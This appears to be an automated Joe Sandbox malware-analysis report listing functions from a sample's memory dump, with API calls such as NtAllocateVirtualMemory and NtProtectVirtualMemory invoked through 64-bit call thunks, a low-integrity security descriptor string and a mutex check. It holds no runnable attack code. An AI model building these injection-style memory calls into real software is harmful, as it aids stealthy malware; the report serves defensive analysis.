Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtReadVirtualMemory
API String ID: 3570319994-2166501906
Opcode ID: 2ec4c45ace802ae495835502b9e142a324ebe251656707f71927aacdcb450f38
Instruction ID: 9922aa3c012ba20c9d9558960ddaa2d19cf73da51c2e159ae034aff7c0fd887f
Opcode Fuzzy Hash: 2ec4c45ace802ae495835502b9e142a324ebe251656707f71927aacdcb450f38
Instruction Fuzzy Hash: D7312AF0914219EFDB04CF68ED45FAB77B8AB88714F10842AF80597698E735D980DFA1

Function 00926230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetProcAddress64.WINDOWS(00000000,?,NtAllocateVirtualMemory), ref: 00926254
X64Call.WINDOWS(00000000,00000000,00000006,?,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000), ref: 009262CE
SetLastErrorFromX64Call.WINDOWS(00000000,?), ref: 009262F0

Strings

NtAllocateVirtualMemory, xrefs: 00926248

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtAllocateVirtualMemory
API String ID: 3570319994-3765841899
Opcode ID: 9d1acd314395e8657295bf62de25e39f761213fd26621a6c43f2cba7a5c54f99
Instruction ID: 82de6225d86e8711b8a3336f4985b1211f5911ead17e57fda898350d7ea950cc
Opcode Fuzzy Hash: 9d1acd314395e8657295bf62de25e39f761213fd26621a6c43f2cba7a5c54f99
Instruction Fuzzy Hash: 5E211DB0D14258EFDB04CFA8ED46B7F77B9EB88300F508529E404D7648E7746A44DBA0

Function 009263E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetProcAddress64.WINDOWS(00000000,?,NtProtectVirtualMemory), ref: 00926404
X64Call.WINDOWS(00000000,00000000,00000005,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 00926475
SetLastErrorFromX64Call.WINDOWS(00000000,?), ref: 00926497

Strings

NtProtectVirtualMemory, xrefs: 009263F8

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtProtectVirtualMemory
API String ID: 3570319994-1546459799
Opcode ID: 8f3fed1f842e3102900d7f9d49220959e9c6ef2c7ee32c3bb4bea1ec07f63c75
Instruction ID: d296401d93d8b4cb072ee7a3b063ab0c4552c7e2ae0748b31664a9560fe0e587
Opcode Fuzzy Hash: 8f3fed1f842e3102900d7f9d49220959e9c6ef2c7ee32c3bb4bea1ec07f63c75
Instruction Fuzzy Hash: FB216AF0D14218AFEB04DF68ED56BBB77F8EB88710F00852AF80496268E7749940DB64

Function 00926310 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetProcAddress64.WINDOWS(00000000,?,NtFreeVirtualMemory), ref: 00926334
X64Call.WINDOWS(00000000,00000000,00000004,?,?,?,00000000,?,00000000,?,00000000), ref: 0092639F
SetLastErrorFromX64Call.WINDOWS(00000000,?), ref: 009263C1

Strings

NtFreeVirtualMemory, xrefs: 00926328

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtFreeVirtualMemory
API String ID: 3570319994-3923168862
Opcode ID: 6b91ec4bf40d4fb15e6ec1a816016a6271d681d94738072380c2b00ad20552ae
Instruction ID: 3a6fe9e19709fdb048f718c6e2d9294e9a8af727e51d563f65f5da67d294b69e
Opcode Fuzzy Hash: 6b91ec4bf40d4fb15e6ec1a816016a6271d681d94738072380c2b00ad20552ae
Instruction Fuzzy Hash: 84214FF0D14298EFDB04DF69EC42BBE77B9EB88310F00852AE40597694E7746984DFA0

Function 00926160 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetProcAddress64.WINDOWS(00000000,?,NtQueryVirtualMemory), ref: 00926184
X64Call.WINDOWS(00000000,00000000,00000006,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009261F1
SetLastErrorFromX64Call.WINDOWS(00000000,?), ref: 00926213

Strings

NtQueryVirtualMemory, xrefs: 00926178

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtQueryVirtualMemory
API String ID: 3570319994-66515852
Opcode ID: 5271c4cdcd25e9f246070bb7b4fb6fc1ecd8f8568a9fe5f14ca53392610179b8
Instruction ID: 211c461ddedef0e7ed4230aa9497fe9f137a4af7c56c9cb66e2f70cd4a4a6a96
Opcode Fuzzy Hash: 5271c4cdcd25e9f246070bb7b4fb6fc1ecd8f8568a9fe5f14ca53392610179b8
Instruction Fuzzy Hash: 03214AF0D18218FFEB10CFA8EC46B7AB3BCEB88704F008459F81496295E7756990DB61

Function 0093C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,00000000,00000000), ref: 0093C456
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0093C470
SetNamedSecurityInfoW.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 0093C48C

Strings

S:(ML;;NW;;;LW), xrefs: 0093C451

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertInfoNamedSaclString
String ID: S:(ML;;NW;;;LW)
API String ID: 2602540077-495562761
Opcode ID: 296efb93b3f9c2bbd62db0f1a3904e4443c50752030fb50ba9fc148fed12b0ee
Instruction ID: 4b252ca3be4fb6fbd89b3b58ffcfdc6d99d9c2fb610b68d0a3e1a4d31018f687
Opcode Fuzzy Hash: 296efb93b3f9c2bbd62db0f1a3904e4443c50752030fb50ba9fc148fed12b0ee
Instruction Fuzzy Hash: 31015AB1A40208ABEB10DFD5CC89FEFB7B9AB44704F104549A600BB1C0D7B9AA04CBA1

Function 009301B5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}), ref: 00930190
CloseHandle.KERNEL32(00000000), ref: 009301A3
Sleep.KERNEL32(00000064), ref: 009301AB

Strings

{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}, xrefs: 00930184

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
